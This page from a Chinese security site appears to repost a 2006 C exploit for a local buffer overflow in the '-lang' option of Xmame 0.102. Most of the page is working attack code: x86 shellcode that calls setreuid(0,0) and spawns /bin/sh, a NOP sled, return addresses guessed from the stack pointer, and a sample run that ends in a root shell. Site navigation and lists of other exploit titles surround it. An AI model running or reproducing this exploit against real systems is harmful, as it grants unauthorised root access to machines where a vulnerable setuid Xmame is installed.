首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Xmame 0.102 (-lang) Local Buffer Overflow Exploit
来源:0x11.org 作者:Qnix 发布时间:2006-01-16  

/*
Xmame 0.102 (-lang) Local Buffer Overflow Exploit
Coded BY Qnix
Qnix@bsdmail.org
#0x11 @EFNET
icq : 234263
0x11.org
Advisory : http://kerneltrap.org/node/6055

e.g:

Qnix ~ # ./exploit /usr/games/bin/xmame.x11
**************************************************
Xmame 0.102 (-lang) Local Buffer Overflow Exploit
Coded BY Qnix
**************************************************

(~) Stack pointer (ESP) : 0xbffff688
(~) Offset from ESP : 0x0
(~) Desired Return Addr : 0xbffff688

GLINFO: loaded OpenGL library libGL.so!
GLINFO: loaded GLU library libGLU.so!
GLINFO: glPolygonOffsetEXT (2): not implemented !
info: trying to parse: /usr/share/games/xmame/xmamerc
info: trying to parse: /root/.xmame/xmamerc
info: trying to parse: /usr/share/games/xmame/xmame-x11rc
info: trying to parse: /root/.xmame/xmame-x11rc
info: trying to parse: /usr/share/games/xmame/rc/robbyrc
info: trying to parse: /root/.xmame/rc/robbyrc
sh-3.00#

*/

#include <stdio.h>
#include <stdlib.h>

#define BUFSIZE 1057
#define NS 600

char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68";

unsigned long sp(void)
{ __asm__("movl %esp, %eax");}

int main(int argc, char *argv[])
{
int i, offset;
long esp, ret, *addr_ptr;
char *buffer, *ptr;

offset = 0;
esp = sp();
ret = esp - offset;

if(argc < 2 || argc != 2)
{
fprintf(stderr,"%s <xmam.x11>\n",argv[0]);
return(0);
}

fprintf(stdout,"**************************************************\n");
fprintf(stdout,"Xmame 0.102 (-lang) Local Buffer Overflow Exploit\n");
fprintf(stdout,"Coded BY Qnix\n");
fprintf(stdout,"**************************************************\n\n");
fprintf(stdout,"\t(~) Stack pointer (ESP) : 0x%x\n", esp);
fprintf(stdout,"\t(~) Offset from ESP : 0x%x\n", offset);
fprintf(stdout,"\t(~) Desired Return Addr : 0x%x\n\n", ret);

buffer = malloc(BUFSIZE);

ptr = buffer;
addr_ptr = (long *) ptr;
for(i=0; i < BUFSIZE; i+=4)
{ *(addr_ptr++) = ret; }

for(i=0; i < NS; i++)
{ buffer[i] = '\x90'; }

ptr = buffer + NS;
for(i=0; i < strlen(shellcode); i++)
{ *(ptr++) = shellcode[i]; }

buffer[BUFSIZE-1] = 0;

execl(argv[1], "xmame.x11", "-lang", buffer, 0);

free(buffer);

return(0);

}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Farmers WIFE version 4.4 sp1 f
·VERITAS NetBackup Volume Manag
·HomeFTP versions 1.1 and below
·SimpleBlog version 2.1 is susc
·Microsoft Windows Metafile (WM
·eyeBeam handling SIP header DO
·Serial Line Sniffer Buffer Ove
·Eterm LibAST Configuration Eng
·漏洞名称:Microsoft Windows图形
·SquirrelMail Change Passwd Plu
·eStara Softphone buffer overfl
·imap4d Buffer Overflow
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved